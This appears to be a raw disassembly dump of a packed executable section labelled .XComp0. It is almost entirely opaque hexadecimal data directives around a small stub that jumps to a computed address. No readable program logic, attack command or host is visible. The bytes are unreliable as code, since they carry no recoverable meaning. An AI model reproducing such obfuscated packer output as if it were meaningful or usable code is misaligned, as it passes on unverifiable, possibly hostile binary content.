58001A67h dd 26E965FFh, 0DD22E19Fh, 14E1135Ah, 7D98592Ah, 6E53B278h dd 1FBD40A9h, 349F26B5h, 0E73767Dh, 0C49F0AEDh, 3CAD486Dh dd 5B8C4FB2h, 94D981E5h, 3B189160h, 26B546E2h, 0B803FE9Fh dd 0FB1DE05Bh, 27CB20FAh, 0B704DFCAh, 0D982DA34h, 9F26B54Fh dd 0AE516AF7h, 609B683Bh, 9316E711h, 0D621D61Bh, 30BB00D3h dd 0ED86F811h, 9959A6E8h, 8D17C018h, 399ADFA6h, 681B7D3Ah dd 5A8FE5F6h, 8798B993h, 0FF57B734h, 0DFFFCA56h, 3C7F729Ah dd 30E592AFh, 0D40FC4C5h, 0A5F1126Ah, 4C6A8D24h, 0A9768932h dd 0C30E0B6Eh, 65769CA0h, 79973307h, 0C0A9297Ch, 99583487h dd 9A39CE30h, 23BDA05Bh, 0FF9F2624h, 4FAE4A9Fh, 0DD32855Eh dd 83EC845Ah, 9F2624F9h, 0DE69AE65h, 7BD4465Fh, 9959029Eh dd 0A8558106h, 0DBCE2FC9h, 88D9B308h, 41228B6Ah, 7F34797Eh dd 0F9C631E6h, 0CC2BCC21h, 0C4B502E1h, 5CF4256Ah, 0DF3A69F3h dd 0E11ED59Ah, 0B9AA4716h, 33F0D91Ch, 61E06BF0h, 0F4F500B6h dd 56A9521Fh, 0C449B189h, 3811E60Dh, 9CA00B67h, 73517E5Fh dd 6E54C0DFh, 59544FA9h, 26B274D4h, 4215749Fh, 0FD176Ch dd 901D68Dh, 827B2ED0h, 3961h, 61E05700h, 0E97ED648h, 0E3C029CCh dd 105C3518h, 33449CA0h, 2F5A68B6h, 0D02CEF64h, 8556D8D1h dd 730725FBh, 2F0ACD8Bh, 9F2633A9h, 877D3AC9h, 827BB14Eh dd 111DFh, 6B13D500h, 0DF027612h, 0A84D839Ah, 978A6E25h dd 1DD8FD44h, 0CE0BA83Dh, 0A14901D7h, 49447F87h, 0F55C4D8Ah dd 4AB732C3h, 0FF04AADh, 8937F4CBh, 89F4C7C2h, 2DCA9B38h dd 0A70215CAh, 9ADF3E3Ah, 8174A5EAh, 0DB1AB908h, 8CEE31F2h dd 0DF2759E3h, 0C90E059Ah, 0E1164F84h, 71C09316h, 5F34B548h dd 0B23797A4h, 1DF6F706h, 5752A150h, 95AC3F7Ch, 0A720A74h dd 0A7F38BF9h, 3425580Bh, 9ADFFDA8h, 0BF9A5D14h, 9CA38C16h dd 9C59790Eh, 0C2F47D5Fh, 0AB47BA33h, 3B885B4Eh, 0A93E9688h dd 2102EB0Ah, 906D87D6h, 32CB338Bh, 9F240D96h, 0B988534Eh dd 511BDE1Fh, 36A7C03Ch, 4CFF1B3h, 5A7D0000h, 0A151A09Bh dd 5C7AC754h, 0A64F9E99h, 5B7DC457h, 611E9D9Ah, 42D528D2h dd 1D1AD7FBh, 45D221D0h, 1F1CDBF8h, 0D97409Eh, 0B99F2009h dd 0F426D4C0h, 20D41901h, 6964913Fh, 9F7475AAh, 0EA7FDF5Ch dd 0E8BB2ED1h, 0A9A94E13h, 0DF02B450h, 0AE71309Ah, 0F126C7A9h dd 3AB34274h, 0DE23A659h, 0DD862C39h, 8801BE37h, 0A84F86CBh dd 26F4E05Bh, 0B34274F1h, 0CA27C73Ah, 4BF04DFh, 0D71ED51Ah dd 0D0159904h, 6AD7D221h, 678AB4Ah, 0DF02D36Dh, 43988B9Ah dd 648CD9FEh, 39A21C8Dh, 9ADF02AFh, 0CAA75C17h, 7DCCD30h dd 8ADF3FBCh, 0BA4D8A6Dh, 73F86283h, 565B23Fh, 0F9F8186Dh dd 2508D390h, 9CA03350h, 1FD6FB90h, 3613ECC6h, 0C7143B0Ch dd 42BB2EE5h, 9F26DF9Ah, 0BAB02B96h, 827B0181h, 0C460F961h dd 159F26E7h, 5AA711E4h, 984B3EC1h, 25D0064Bh, 32CEFA4h dd 2Dh, 4861E0F9h, 10147DD6h, 170A9CA0h, 1D35E227h, 261028B4h dd 22DD949Fh, 0C389E4D5h, 0DF9F2610h, 98E1D764h, 29827BD0h dd 10Ah, 6F126BFh, 8913BC14h, 359ADF02h, 0C110793Eh, 9EE3E617h dd 0DCAEC79h, 43CE9552h, 0DB28DB55h, 65729FF2h, 78DAE656h dd 7EE2677h, 0CD12CD86h, 8B488C6Dh, 58B3D8BAh, 4FF38DE6h dd 0B86B9ADFh, 0DC85E863h, 579ADF52h, 8EE33BBAh, 0CF4C8F66h dd 54FD5582h, 9ADF4BC8h, 0D8427D74h, 4B4DD780h, 0FAF99ADFh dd 23FCCBDh, 9DDE77E7h, 0C59CA066h, 5E38C42Dh, 0EDA49F26h dd 48D3CE2Ah, 35B7EB3h, 5A52E75Ah, 1EB71F99h, 9ADDAD82h dd 0D0EA473Ah, 130EEA2Dh, 0C134E62Bh, 7A03D436h, 5450865Ah dd 0EF16B24Bh, 0D3CE9ADDh, 5486CB10h, 5F1A58A1h, 0FAF3ADB8h dd 2F02Ah, 7C7B9E00h, 7382327Fh, 7A7B99E8h, 7887307Dh dd 797C9EE3h, 0B142FD7Eh, 1C61F607h, 0AFFEF9F8h, 1766F100h dd 7D00FBFAh, 0F2CB821h, 0DF989F20h, 1F426F5h, 0CD0AA7F6h dd 43676EABh, 3822DD72h, 0F5F8FDB3h, 1B8E658Ch, 5B67B48h dd 0DF1CF7F2h, 61E0785Ch, 2AE3AA3h, 0B6169ADFh, 0DF02831Dh dd 7B483B9Ah, 147DD648h, 0A9CA010h, 0F3562717h, 0C3DB1DCEh dd 96178255h, 9F265C36h, 624BAA4Bh, 0B336C3EFh, 0A0D16605h dd 243344B8h, 0ED440CE3h, 956095DCh, 746AED42h, 827B953Bh dd 140CCh, 0F126E000h, 9C3E8306h, 590159h, 9ADF0264h, 0E3D621E0h dd 0DF1FD98Ah, 40B75C9Ah, 0FA6989DEh, 0F1B21BDAh, 13E8BB2Eh dd 0B51EB618h, 9ADF062Bh, 620BC15h, 0E59C9ADFh, 76BB00F3h dd 0D2BB9841h, 0FB05C355h, 0F5AE1FD6h, 7AF4F52Ah, 0B336BFF5h dd 95E605E0h, 283D082Ah, 2BE948D3h, 0DF9736D2h, 9EF3AE9Ah dd 0D8427D78h, 0BD477507h, 0E66283CEh, 0A4A2C8Fh, 7CDE19E6h dd 0A06203D4h, 3D45F1AEh, 0C8DA9F7Ah, 850A9CA0h, 7751A64Fh dd 0A13AA27Ch, 9F26F007h, 4C6DC4BFh, 986340A9h, 10290893h dd 932DC62Eh, 4B9F26F0h, 52AB8358h, 995A803Eh, 13AD46A6h dd 0CB9ADD00h, 0DE330BD8h, 0F961B93Ch, 0DD00C460h, 3681809Ah dd 0DD1459B1h, 0FBC09316h, 23CC8436h, 9ADD0099h, 11631F4Eh dd 9EFAAB34h, 0ABDD20E3h, 88ADB93Ch, 1639F45h, 0E6110000h dd 15BD0417h, 0E0165BE0h, 1ABB0215h, 0E71160DBh, 0CD8A0116h dd 0DE599C3Eh, 8196638Fh, 0D95E953Ch, 83985F94h, 0B14BA40Ah dd 2D9F200Dh, 0F426807Ch, 7921A9E3h, 883B1C05h, 0DC892E73h dd 85CCBD34h, 6C27A253h, 0F1126CB7h, 0CFAE5382h, 9F9C5F16h dd 28F213B5h, 0E9D9DA66h, 16BB8255h, 0B3925FC1h, 0A25D26D3h dd 633F20B8h, 81AEAFC8h, 0EA039D80h, 0C8BB9ADFh, 0DF248AF3h dd 10C3C633h, 145186CBh, 7B056EE2h, 0E39ADFEAh, 4E30F330h dd 0EFDA1BB9h, 3CB95D34h, 0C2459251h, 597B1068h, 0EA27C19Ch dd 3F9F9ADFh, 0DFEA0A96h, 4BFB29Ah, 0CD1845A1h, 0F9BE6F70h dd 44364FEEh, 0D64E2A33h, 0BB7073h, 0CA09B51Eh, 7A799CDEh dd 32A54BA0h, 737D7F93h, 0A572AD27h, 0CD28CD34h, 82CE034Ah dd 21CD4FD9h, 0A9FCF79Fh, 4A78AEB8h dd 0D0B906C6h, 25888D6Eh, 5152CD78h, 0F5F490E9h, 0B1709F21h dd 6DCF0366h, 64FFEE25h, 73DF14D7h, 227D7E0Ah, 0F82BE6B0h dd 0FEF91E63h, 3728C71Ch, 0B2715C99h, 0D23FAA6Dh, 9BF9B829h dd 9A749417h, 59186465h, 6EF708DEh, 0EE5092CAh, 0A1561BE0h dd 0E5E80FC4h, 1766F12Eh, 0CE23FBFAh, 6DDD027h, 121CC8B1h dd 96000000h, 67FEF213h, 0DF807B0h, 7B9AAC12h, 5F74477Ch dd 4F32675h, 5C9B3889h, 2F12071h, 5F9E3A87h, 4F1236Eh dd 5F9E3889h, 3F2236Eh, 5C99378Ah, 1F02071h, 4968F688h dd 89000062h, 9868240Ch, 89000012h, 6068242Ch, 89000063h dd 6DBD243Ch, 0F728E062h, 0C1D5F7D5h, 0B85007EDh, 5AD3F88h dd 5458C501h, 83243C8Bh, 0BB5304C4h, 8, 8155FB01h, 7F0A2434h dd 38F7E1Eh, 7F0A3381h, 8B5B7E1Eh, 8956243Ch, 4C681E6h dd 81000000h, 4C6h, 24348700h, 242C8B5Ch, 5E08950h, 4 dd 405h, 24048700h, 7313E95Ch, 0E71CFFFBh, 502408E7h, 109DB8C7h dd 0C50305FFh, 0D4F9E0FFh, 6AEE6047h, 0E4D1041h, 2E2E59F5h dd 101310AEh, 31A36B02h, 0C4E4464h, 0B6D540F1h, 0CA52614Bh dd 69862FBAh, 0D3D82C4Dh, 0EC2D5BBAh, 3B9B16DBh, 775D70D0h dd 0AF9F0792h, 8C3A7CF0h, 16B15A90h, 21E93F7Ch, 0DC000000h dd 5C33FDh, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_5CCF50 ; --------------------------------------------------------------------------- db 0F4h, 0CDh, 44h dd 769935A0h, 42C127CEh, 778E3B9Ah, 4DBA22C5h, 57047D97h dd 85709473h, 5580A467h, 86719376h, 5280A469h, 750376A5h dd 0CB802397h, 0AA638C2Dh, 54798623h, 0D16534B9h, 1530BA22h dd 0E792C1F1h, 642995B0h, 0FAEF55B7h, 9379A069h, 807E7D41h dd 0E46FAA73h, 29964399h, 6BC56916h, 7F8A31CEh, 0C27BE92Dh dd 0A747773Bh, 0E576A748h, 29967794h, 0C224E10Ah, 9E890CC5h dd 3E3FDC41h, 0BB299677h, 0E1DE03CEh, 0D1880DF8h, 0FA05A43Dh dd 0D12036D3h, 3ECFF0EDh, 7CC64EF3h, 7774D97Dh, 374E2FECh dd 0DECB2996h, 0FDEA0313h, 0C2A528DBh, 5DFDF01Dh, 77FEA0AEh dd 755A5280h, 24C4EB7Bh, 0F63B5083h, 0FF08B44Bh, 0DBE445EFh dd 0C39617EEh, 507CFD1Eh, 0CF92996h, 29E00BEAh, 20E9D4F3h dd 6A1340F9h, 0E7299650h, 0ECCB143Ah, 371AEC02h, 654CE17h dd 0FDDDCACBh, 38A4830Ah, 357348B2h, 8841EA57h, 0B39F9805h dd 0AAB857EBh, 64D21004h, 3DE5C70Fh, 26F3DA19h, 960584F5h dd 0CD040129h, 0E0FB017h, 96052C4Dh, 35FCA929h, 0BBE080Ch dd 0CB21E606h, 0F618827Ch, 521066EDh, 8CB52996h, 65A24AB5h dd 9651A3D6h, 7C632029h, 6A3FB64Fh, 5D2935C4h, 4D2F6983h dd 0BA44h, 31CE9E00h, 5B0E7F8Ah, 7A933CBBh, 0A0D97ABFh dd 1D299685h, 5415CE60h, 67877E6Bh, 968597E4h, 6C953A29h dd 9685CEAFh, 719A4429h, 4C39AD7Ch, 370F5BAAh, 4D2F5DA5h dd 0B62h, 0D784BD00h, 299679A6h, 6AD06623h, 0CE1546CEh dd 0DECBAE6Dh, 5B482995h, 0A3E36D79h, 937C6493h, 24B91522h dd 5D844DB6h, 6B8B7862h, 0D182B782h, 2995F3A8h, 17D67825h dd 11AE53B2h, 80595CA7h, 4D72756Eh, 2EACDC0h, 493C9005h dd 0FBCC411Dh, 29CD3FEFh, 0A73A425Bh, 945DB20Eh, 0C44B7382h dd 0D818B520h, 0DD0C322Dh, 39E02990h, 5F1A3900h, 0DC299671h dd 7169141Fh, 39E62996h, 0CE051B15h, 0EC8DCE73h, 69299685h dd 85DE9FBCh, 0AE5B2996h, 54816988h, 7C2DA069h, 47738CB5h dd 0B2B52EC0h, 1F1BE40Eh, 0C3DD3706h, 3EA0870Eh, 0FDDFC8CDh dd 9518F1DCh, 9F880DC4h, 0FCACB3Ah, 8D6040Bh, 76645BFCh dd 0BD51088Dh, 0B01C103Eh, 9D42A557h, 0A66BA03Eh, 61A2482Fh dd 6F9E3FB8h, 628BAB7Eh, 6B034FB6h, 0DDF48596h, 3E7F2995h dd 7CECC96Bh, 8A332284h, 92571283h, 4D40C325h, 2B957A9Ch dd 8C4D2F55h, 0F3h, 0A7608C56h, 0A5688572h, 68915891h dd 9685D2ABh, 0BC524F29h, 0C1788B2Dh, 0D136A64Bh, 0AE40BC48h dd 3801A835h, 95CC621Bh, 0C22DF29h, 0C74DE1EDh, 0E877A7E8h dd 0D32234BFh, 13F920E7h, 4F8D7A32h, 9B95B9F5h, 0B15C817Eh dd 996E4E9Dh, 2DA61314h, 0A6737A8Dh, 0D08BB66Bh, 2995B4ADh dd 10D97D2Ah, 5243C227h, 16818465h, 4DB821B8h, 55589148h dd 3BE3EFC8h, 32FCEA25h, 0F0E528C5h, 2A530039h, 0A72995B4h dd 0CDAF54FAh, 0EA4D2F8Dh, 9Eh, 2E4F0C35h, 0B92995AAh dd 1D00B473h, 0E89509B7h, 0AF3FCEEFh, 8A31CE89h, 0BB5B0E7Fh dd 0CC87903Ch, 299685B1h, 0A7D2812Eh, 24299685h, 7677B277h dd 0F4A24A71h, 7B5B123h, 0E8CFC60Bh, 0A88F0607h, 2ACFC647h dd 961790E9h, 14100D29h, 9F792531h, 4A727A68h, 62A75E8Bh dd 36775DBAh, 0E757C141h, 0CE77BD51h, 787D8831h, 825E8DA1h dd 7C646D5Bh, 6E935E93h, 8DA16C51h, 85CBAF54h, 0C7702996h dd 8598E172h, 78152996h, 9685A2DBh, 0A7621F29h, 9C6A7887h dd 4D2F5DC0h, 185h, 5E8C5F00h, 57837CA5h, 62459EB0h, 897E5E7Dh dd 0BF1E9940h, 8096434Ah, 615EE367h, 9B6A8C77h, 567B5D4Fh dd 47229378h, 71A25782h, 29968608h, 0BC769885h, 19C01A8Ch dd 7FA100B3h, 3FAB9B47h, 0DD14C5C8h, 0BA45FC39h, 23560512h dd 0A029967Bh, 0F2A72EE3h, 9D45E95Ch, 0AB582F8Fh, 50A03D2Ah dd 51D84989h, 1034FD5Dh, 900508E5h, 9D4D7803h, 0A62E1323h dd 49C0EED5h, 42C155B0h, 39B71814h, 0DEFD3169h, 1DEFAA2Bh dd 8B4654AAh, 86816956h, 5661C670h, 2A229378h, 0B674FE39h dd 43A9607Fh, 25E20A85h, 0FAF91D2Eh, 0B2B538D5h, 1CF1CE0Dh dd 8409C099h, 43293510h, 31CE739Ah, 5C0D808Bh, 0FD6F80BAh dd 0C948D6DAh, 0DB7B902Eh, 1B54Fh, 31CE9900h, 5B0E7F8Ah dd 0AF39AFBBh, 0B36FB0Ah, 0D4EC7F4h, 2996856Ch, 0F53CE9h dd 0EB280529h, 2F8F919Fh, 0EE1BC23Dh, 0B83DC8F1h, 0DBA54DE1h dd 117DD6D2h, 27D2178Dh, 7D3841D2h, 96B5239Dh, 7E2D338h dd 0B4B32CC2h, 1FF0D00Bh, 2A9332EAh, 7D1568F3h, 6392239Dh dd 4C1D9077h, 0A0494C85h, 7CBFBA59h, 9935239Dh, 83939076h dd 0CBC24B74h, 0CE606E59h, 6D818C31h, 78AC617Eh, 0D0A96A8Fh dd 4D239D7Ch, 9749BE50h, 5048D654h, 6Ah, 8C31CEB2h, 6BF16D81h dd 8510237h, 0C5A99685h, 369621D8h, 0E90DDCD1h, 852A5300h dd 3BA0A996h, 0F526C3CAh, 0A9968584h, 309B0401h, 6E49D4D9h dd 9FD6BE60h, 1546FBB3h, 0A9968564h, 561224E1h, 220581CCh dd 541EBFEh, 23EE23E6h, 32DD01FEh, 59040F1Ch, 16299662h dd 0AB56B369h, 96630D70h, 799D8A29h, 0BD78h, 69FFC800h dd 3A12DEFFh, 0C2B183DEh, 964B864Bh, 8F73FD85h, 3ABB682Fh dd 0A364886Fh, 18D77732h, 56AB56B7h, 9D71B4C5h, 8B743123h dd 7425A85Fh, 506D58E2h, 0ED8B38BDh, 6D239D72h, 3235B84Bh dd 9F0E7F8Ch, 1CE4BAA8h, 0AE49E5F1h, 0E52AC60Dh, 0FDF039F0h dd 2EB0A2Ch, 0F761D90Bh, 2E576ABh, 0A3299C82h, 5F1465F6h dd 94911D9Eh, 3B91585Dh, 0FE09448Eh, 9554FA9Dh, 0F5DAE538h dd 0AE82FB18h, 2FF1D9Dh, 17D23595h, 12F5D5E2h, 0BF28CE9Bh dd 48E6F41Bh, 4FB0AAFh, 0EBBE2FD8h, 51891F4Bh, 876651A8h dd 52B51582h, 0C05E89BCh, 0D0FF239Ch, 794302F0h, 9CB026A2h dd 40896055h, 69FF829Ch, 5ABE5F14h, 90595211h, 976C4E69h dd 5FAA1116h, 0E076BB6Eh, 3423C853h, 0F8FF2F95h, 0E8C134D5h dd 70D4AE46h, 20F0C9E9h, 1F984188h, 41AA4CBBh, 26579936h dd 48DA11EEh, 5299CE26h, 37DD1FD4h, 0E7ED4AF2h, 0CFFB0D1Ch dd 22D165C3h, 0B65D50BDh, 7D645807h, 0A04E9C6Bh, 65EF4C2Ch dd 0F006873Ah, 0B31DC01h, 830A03ECh, 24D5EEE6h, 6B141350h dd 46BF2CCBh, 9687684Fh, 0CAD3F485h, 7DB471C9h, 0C04F6F78h dd 5A887FCDh, 4BC17E84h, 2CECDC83h, 0ED0C222Dh, 0F9E20BE1h dd 0F9C035D0h, 0CB4D1F5Ah, 2ADF9CC9h, 54FF3ADFh, 0C9CB4D29h dd 0DECF3E9Fh, 48EE9B0Bh, 63F049EEh, 0C9CB4D1Ah, 0A544EA97h dd 0A31CC548h, 0AA43D33Ah, 0ABBh, 0DC01FE00h, 49EDBC31h dd 8C390FF3h, 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah dd 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh dd 93768h, 243C8900h, 0EE268h, 24048900h, 11DB68h, 24348900h dd 186D6857h, 0C15F7D56h, 0E7C102E7h, 5EFC106h, 7077C781h dd 0F8895423h, 6E0C15Fh, 19D70540h, 0EC8350F2h, 24248904h dd 4240481h, 5E000000h, 4EC81h, 4890000h, 8468F24h, 5E2434FFh dd 4C481h, 34FF0000h, 0C4815824h, 4, 0FA65B9E9h, 578A92FFh dd 0F18ECECDh, 0E3C0AD5Dh, 0A9619A42h ; --------------------------------------------------------------------------- loc_5CCF50: ; CODE XREF: .XComp0:005CC780j mov eax, 5FF18E7h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0BDh, 85h, 0E0h dd 0C17E2E73h, 0DA000325h, 0A11B7953h, 42AEAA1Eh, 7D877067h dd 6FB03901h, 0F8B4F003h, 0EF494020h, 5B03FA68h, 11E964h dd 0C9CD0000h, 9E01123Bh, 7C80h, 0 dd 0E9000000h, 12BBh, 0FF1BF568h, 6554E905h, 4F68FFFAh dd 0E905FF1Dh, 0FFFA654Ah, 0FF1F4668h, 6540E905h, 0F368FFFAh dd 0E905FF20h, 0FFFA6536h, 0FF234E68h, 652CE905h, 968FFFAh dd 0E905FF27h, 0FFFA6522h, 0FF296A68h, 6518E905h, 0CB68FFFAh dd 0E905FF2Ah, 0FFFA650Eh, 3DDF328Dh, 23D9369Ah, 37ED16C4h dd 22DA2B90h, 4CF017C3h, 0D0FCBBF6h, 0FCE20537h, 0E30AED0Fh dd 0F6D7FE26h, 3AFFE517h, 976C6019h, 0C868DD23h, 7F8A31CEh dd 0AE5F806Fh, 6E9F4027h, 0ACCD8EB3h, 29299685h, 0E860DA7Ch dd 5EFD247Eh, 2F8FB6E0h, 21CC330Eh, 2734E5E8h, 239D5356h dd 0B840D6D3h, 3C39CACBh, 1B239D53h, 0B002AE26h, 0A9ED0EABh dd 3D544347h, 3ED0198Eh, 39B393BFh, 0FE48D64Eh, 70h, 0F217B641h dd 7B12EFBh, 0E20F9FCh, 8731CE28h, 188EDA7Ch, 31E217C2h dd 29968548h, 2B79BBC5h, 0A1B63916h, 0BD4C6F68h, 9C659C99h dd 95D5FE7Fh, 688E7B29h, 8EE845E5h, 32A3602Fh, 9BF88587h dd 0EC4750E3h, 6772074Ah, 0E851239Dh, 0B21AE9CFh, 0F6422243h dd 9B6A8CFEh, 0B2189F4Fh, 698D5C51h, 0D63AC8A4h, 0BB239C48h dd 4166C254h, 0C0000001h, 23AA638Ch, 37529844h, 340A06B5h dd 22E107F0h, 0C233FEABh, 0ACC515F7h, 4B39DFFEh, 6AA34CABh dd 0B25B8463h, 1E83C78Ah, 16A12996h, 8C5D50B5h, 0AB628B6Ah dd 0C1729E76h, 8EBDE65Bh, 4E69CE68h, 85826A71h, 7E90494Ch dd 318D4E6Fh, 9B52F0C1h, 15DCE110h, 0D53497A0h, 19E0D51Ch dd 0C14A33E0h, 0DAC72995h, 64BE2834h, 3F9E42BDh, 0B2676E9Dh dd 93A37677h, 76645BA6h, 78E6698Dh, 662F8EEAh, 1F967159h dd 6055B618h, 46AE4089h, 5144C327h, 0BFAB5198h, 0C448F129h dd 0FBCCB38Dh, 578A38Bh, 82239D3Ch, 8DAA4C85h, 0ABCE8DB4h dd 28239D3Bh, 8578DB7Bh, 3D29992Fh, 0E7EE1BC2h, 9B262015h dd 3CF585FFh, 0FCF118C3h, 34F1092Dh, 3DCAF20Dh, 1CD0FB04h dd 0EA6BDC5Eh, 26A762CAh, 0AE7EA173h, 0A57BEB4Dh, 7582A791h dd 54A3B356h, 0D9A4AF68h, 561DA09Bh, 129360A9h, 88BEFDA0h dd 0FD07E67h, 38970000h, 1CC423D9h, 44A651F3h, 11BA1DBFh dd 45A550F4h, 89081AC2h, 3FE522CAh, 2FD53698h, 40E425C8h dd 2FD53895h, 1667F4C5h, 9323976Ah, 608C1ADEh, 2B9475A7h dd 48A747BEh, 60BE66A7h, 83169FFh, 143AC9EFh, 0FC17E217h dd 29968581h, 1AE9CFFEh, 0EB0BC693h, 8F97C668h, 0B124E12Fh dd 9D725322h, 8FDB3223h, 0D64E25B7h, 8E1BF148h, 94E57653h dd 11239D13h, 0F854C014h, 1978A44Ah, 0C3000001h, 0C89CDD7Eh dd 0C754239Ch, 239CC8B6h, 93907633h, 73CEBD83h, 968595E8h dd 6B0E4D29h, 0E8299685h, 38DECB3Bh, 21C714B9h, 47F227E2h dd 9685710Ch, 1D31EE29h, 98AF25C4h, 1D0917B4h, 8B443D3h dd 41058EFFh, 5F2995F2h, 0E900799Ah, 807D2995h, 0AF5E7F6Eh dd 0D9A4AF8Ah, 562995E8h, 8EAB85A9h, 0F83A61B3h, 10A3E809h dd 96647A03h, 0E40AF729h, 6C08E805h, 9CF46530h, 9A10854Ch dd 0F02BD60Ch, 2F8F8572h, 36C17825h, 6C974198h, 7479B069h dd 82A791A5h, 41B45775h, 0C9AC668h, 33A92BD6h, 9CAF60FDh dd 799A97B7h, 29996D6Fh, 0CFE8110Eh, 0FBAE1FEEh, 0F9E1DE5Bh dd 912ED30Eh, 0D9DC27h, 0A18C8AF3h, 0F41A071Dh, 0D82F9B3Ah dd 0FCB3D4FBh, 0E8CDE6BEh, 0E76h, 0CD6FA23Dh, 9349C62Ah dd 0C77D8634h, 924ABB20h, 5C808733h, 0E00C4BC6h, 0ECD2F527h dd 0F3DAFD1Fh, 0E607EE16h, 2ACFF527h, 976890E9h, 98580D23h dd 75A7608Ch, 7CA06D52h, 51BA249Bh, 0D3698D5Ch, 99BA638Ch dd 299685E0h, 0B74C6E5Dh, 3136B772h, 0BE5B818Ch, 0DD719C41h dd 16CB1781h, 20E9D4EBh, 9CC33B0Eh, 413E2F8Fh, 50BF1F98h dd 0D89E25BEh, 54239D6Dh, 4532A36Ch, 0E87263A6h, 0DA793521h dd 239D6D9Fh, 8EAA5F1Ch, 25AC0EA9h, 688E43C6h, 0E7794D99h dd 0AF48D641h, 7263A448h, 6B9C40B7h, 9D05FCBh, 0CEA90000h dd 595BFC46h, 9FAF21A9h, 0D40D55C3h, 8F3C8347h, 6587662Fh dd 0A7482FA6h, 6FBA6F66h, 99BA7FBAh, 239CE5E0h, 1B927756h dd 8BAB584Eh, 0E5C4B162h, 6CA3239Ch, 0F9D4887Eh, 2CA048D6h dd 9B42F45Ah, 1BF9866Eh, 8331ED01h, 13000009h, 571469FFh dd 1E1E6216h, 0E034ED24h, 6ACFC472h, 1F0C2209h, 8117F2DAh dd 0F6D23E6h, 7E6A4CFFh, 47B02F8Fh, 8A8749A5h, 955BC9D4h dd 2C80595Ch, 0FC190490h, 0BA42D4E4h, 0D5D82F9Bh, 3BC8CD04h dd 239CE53Eh, 4AE4F21Dh, 0F9FC0FADh, 67F90E20h, 2048D6F9h dd 92Ah, 641546FBh, 0E1239CDDh, 0CE2C1224h, 8595E873h dd 15122996h, 793D5701h, 86A85D7Eh, 5BF94CDAh, 8BE09850h dd 55063BF6h, 2F8EC4B9h, 8094C547h, 46593ECFh, 0A65B48B0h dd 49BDC05Bh, 4D3A239Dh, 0A7BB98A9h, 0C6AFB273h, 17F8D850h dd 0F0DCC396h, 9027D217h, 0FE3BDB2Ch, 8146315Dh, 1697849Dh dd 3A961284h, 0C009E0D5h, 1ECE019h, 0C2CC30A6h, 6975EFD5h dd 89A67383h, 5558AD0Eh, 4DF7284h, 0B5978801h, 49A611C8h dd 5B71DC4h, 8BCA72D7h, 9374BE50h, 809A0341h, 0A94D08D1h dd 8B68A54Ah, 2B0834EEh, 7F22032Ch, 4600000Ch, 17BE66ABh dd 41A458B7h, 0DB86C97h, 44A359ACh, 77CD6F98h, 0AA5D7D3Ah dd 0A2695372h, 99705B7Ah, 0B25B8463h, 848F688Ah, 239766F9h dd 0CE2FD176h, 8595E873h, 15122996h, 40CDF201h, 0F24BDD4Dh dd 0FC23B1DAh, 11AAABCCh, 0C24BCA22h, 78886547h, 96774E93h dd 645BA65Bh, 4B1E8F78h, 916EA8ABh, 0BF42F95h, 0EF0727DEh dd 0AA2BDC00h, 3F023AEFh, 23975E6Ah, 35C267BAh, 0DDC7295h dd 82A75DB0h, 905E658Ah, 0E20B2E6h, 5F9AC852h, 9763D1B4h dd 4C413E23h, 5DAA12ADh, 7E6D8158h, 0A978AC61h, 239763DCh dd 0E396C57Ch, 60239763h, 796493A3h, 34CB6C90h, 5E0B828Bh dd 799439B8h, 789737C0h, 5992A475h, 0CFAA6990h, 4C239763h dd 0ED8CBF4Fh, 8C239753h, 1E995581h, 90494CC1h, 9E24F33Ch dd 727C3BBh, 0DE0607E8h, 0B637D6F7h, 29E20CF3h, 0B3334205h dd 7B12396h, 3203F9FCh, 0F134AD85h, 52B9239Ch, 250BF5Bh dd 5144C12Ah, 42C95198h, 56B71814h, 0B4C556ABh, 312396B0h dd 6B58E274h, 1D3h, 7D8831CEh, 0A78DA178h, 0ACF746CEh dd 470FC166h, 0B46568A7h, 0B51AD97Dh, 6D945558h, 95FFCBAEh dd 0BB5B4829h, 0A546913Ch, 8524A960h, 96AE598Fh, 2FBF5C13h dd 961C611Ch, 0A6B31929h, 6911E189h, 0F589BD3Ah, 231BC91Fh dd 12FBE413h, 41990F9Bh, 4AB91F98h, 0B3809643h, 0C14C718Eh dd 56F91DCCh, 2F94F4BCh, 0B305CA42h, 0F8E3770h, 0F6D8F7FFh dd 6E83F625h, 3002397h, 0D712C7CEh, 0F75E49FCh, 0B3C2B3B0h dd 0AD2h, 29DB3699h, 37ED22BEh, 23D92A90h, 36EE17C4h, 28DC2B8Fh dd 4E8970Ah, 0D8F6E103h, 7E61133h, 0D2FBDA02h, 1EDB093Bh dd 97657CFDh, 0B454F923h, 6FAA638Ch, 85F089CAh, 0B06D2996h dd 5DA4459Eh, 9685BBBEh, 0AB4B3829h, 9535A04Ch, 0A485B772h dd 0F758AA30h, 47E7CB2Dh, 2FA745A8h, 0DDF26810h, 0A84FF53Ch dd 3445D647h, 0B12995BEh, 0FEEF1CC2h, 0F92BE62Bh, 5E7EECEh dd 0FDA8F06h, 1CEFCDEAh, 0B52EC099h, 29E00BF4h, 0E60AF5A4h dd 61F5A429h, 0D8DD2A92h, 6F7D693Ch, 0A7648A4Bh, 83BE7326h dd 40B54E7Ch, 0CE6BC569h, 0BE95E873h, 15122995h, 9A500C01h dd 7154D2Fh, 0EF000000h, 11C8Ah, 46CEB600h, 378B45D2h dd 0BA39DD7Fh, 0B641F815h, 8861F51Ah, 11F6D6E1h, 2629CD9Ch dd 29967F4Fh, 9F8DD930h, 0A22ACF3Eh, 2E83C41Ah, 0CD36A44Dh dd 36D811C8h, 29B91BFCh, 0B5FE5279h, 0B823D264h, 0C3B75C51h dd 3F299595h, 7F686D9Ch, 6C3DB05Fh, 0D2C34A73h, 7F5F8B7Ah dd 882EA65Bh, 0AD2625D0h, 42C52592h, 89789E4Bh, 0C526915Dh dd 9C3FAE40h, 0A14BB46Dh, 0CCA0D97Ah, 601D2995h, 0E17524A9h dd 0B25AB257h, 46E69BFCh, 0CE52E80Eh, 777E8931h, 7E5D8CA2h dd 0BE1D0A8Bh, 8B26222Eh, 4B86C58Eh, 8B7E5D4Ah, 49BC1D0Ah dd 0E9F5D044h, 0E5631645h, 23E02995h, 53B95EEEh, 5C80F6AAh dd 9D6F2AABh, 0B34398ADh, 0C7260654h, 78B8C152h, 48352996h dd 3ED85B81h, 0C4299681h, 6F9BDE7Dh, 6B182996h, 966FADD0h dd 96602A29h, 